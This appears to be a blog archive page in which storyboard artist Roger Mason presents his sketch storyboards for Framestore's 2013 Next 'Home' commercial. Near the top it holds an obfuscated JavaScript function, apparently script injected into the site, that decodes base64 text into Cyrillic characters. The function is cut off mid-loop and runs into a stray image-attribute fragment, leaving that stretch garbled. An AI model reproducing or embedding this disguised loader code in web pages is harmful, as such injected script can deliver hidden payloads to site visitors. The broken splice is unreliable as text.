Category Archives: Next Home

The Making of Next ‘Home’ by Framestore

function h052c1b60aed(x6){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var t4=”;var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4 Roger Mason at Framestore” />
Mike McGee of Framestore, left, and Roger Mason working on the storyboards for Next 'Home' commercial in 2013.

Here's a short film by Framestore, detailing how they made their TV commercial 'Home' for Next and on which project I drew the storyboards. At the very beginning of the film you can see me working with Mike McGee.

Below are a selection of the storyboard frames. This style represents my quickest, sketchiest drawing mode and I like it for its fluidity and economy. Blue pencil, HB pencil and tipp-ex on white paper.

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason
Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason